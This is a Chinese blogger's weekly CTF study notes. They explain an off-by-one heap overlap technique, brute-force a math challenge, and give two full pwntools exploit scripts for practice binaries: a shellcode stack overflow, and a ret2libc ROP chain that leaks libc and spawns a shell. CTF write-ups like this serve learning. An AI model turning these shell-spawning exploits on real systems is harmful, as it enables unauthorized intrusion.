24-02-26

本周学习总结

本来看了堆教程视频,准备拿青少年CTF做训练,结果打了个寂寞。

全局常量声明:新手上路,文章内容仅是由教程观点和自己总结获得,仅供参考。

一、Offbyone

同样是在堆溢出的漏洞可以实现此漏洞,但是只需要溢出1字节。

对于unsortedbins, glibc会不停的对其其中的物理相邻的块进行合并,而我们正式利用了这一点。

在块的size字段中记录了上个堆块的空闲状态和本堆块的大小,这是我们可以修改的地方(一字节)。

我们先申请A、B、C三个同样大小的块保证他们会进入unsortedbins,我们通过B修改C的size字段的来标记B为空闲堆块。

然后我们对B进行释放,然后通过A修改释放后B的size字段将其改小,然后申请两个较小的堆块D、E,此时C显示前面的堆块仍然是空闲且合并时会合并到原先B的位置,此时我们释放D进入unsortedbins,我们再释放C进入unsortedbins,此时C会与D合并(因为D的位置是原来的B)。

但是E是未释放状态,我们再申请一个堆块B+C大小的堆块Z。我们此时就造成了堆块的堆叠。Z中包含了堆块E,我们可以对堆块E的所有字段进行修改。

二、Baby–简单数学题

题目只提供了IP地址和端口号,连上去是三道数学题。

前两题我直接逃课启用了GPT,最后一题写了个循环爆破,手撕题目。

循环代码:

1
2
3
4
5
x = 0
for x in range(1, 100):
if x * x * x * x * x * x * x * x * x * x + 1024 - 4 * x == 6131066258749:
break
print(x)

flag:

三、Baby–easy-shellcode

下载得到文件easy-shellcode

check:

NX保护未开启。

ida:

main:

有栈上的地址,有栈溢出,还在等什么呢?

shellcode,启动!

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
else:
gdb.attach(p)
pause()

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret

# context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'

p = remote("challenge.qsnctf.com", 32341)
# p = process("./pwn")
# elf = ELF("./pwn")

addr = int(p.recv(14), 16)
ph(addr)
rel()

shellcode = asm(shellcraft.sh())

payload = shellcode + b'A' * (0x108 - len(shellcode)) + p64(addr)
# ida里面是0x110应该是分析问题

sel(payload)
op()

flag:

三、Easy–[LitCTF 2023]–狠狠的溢出涅~

下载得到文件pwn4

check:

只开启了NX保护

ida:

main:

有栈溢出,但是有检查,我们可以在开始就输入8个“\x00”来绕过检查,程序中没有system和”/bin/sh\x00”。

通过ROP获得libc然后在运行一次main函数,再ROP就搞定了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
else:
gdb.attach(p)
pause()

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret

# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'
p = remote("node4.anna.nssctf.cn", 28990)
# p = process("./pwn")
elf = ELF("./pwn4")
libc = ELF("./libc-2.31.so")

main_addr = 0x4006B0
pop_rdi = 0x4007d3

payload = b"\x00" * 0x8 + b'A' * 0x60 + p64(pop_rdi) + p64(elf.got["puts"]) + p64(elf.plt["puts"]) + p64(main_addr)
sea(b"message:", payload)

reu(b"Received\n")

puts_real = raddr64()
ph(puts_real, "puts_real")
rel()

libc_base = puts_real - libc.sym["puts"]
ph(libc_base)

sys_addr = libc_base + libc.sym["system"]
bin_addr = libc_base + next(libc.search(b"/bin/sh"))

ret = 0x400556
# 需要栈对齐

payload = b"\x00" * 0x8 + b'A' * 0x60 + p64(ret) + p64(pop_rdi) + p64(bin_addr) + p64(sys_addr)
sea(b"message:", payload)
rel()
rel()
op()

flag:

下周学习计划

| 应该要做的事情 |

继续堆

学习感受

MISC都是谜语人。


24-02-26
https://zlsf-zl.github.io/2024/02/26/2-26-3-3/
作者
ZLSF
发布于
2024年2月26日
许可协议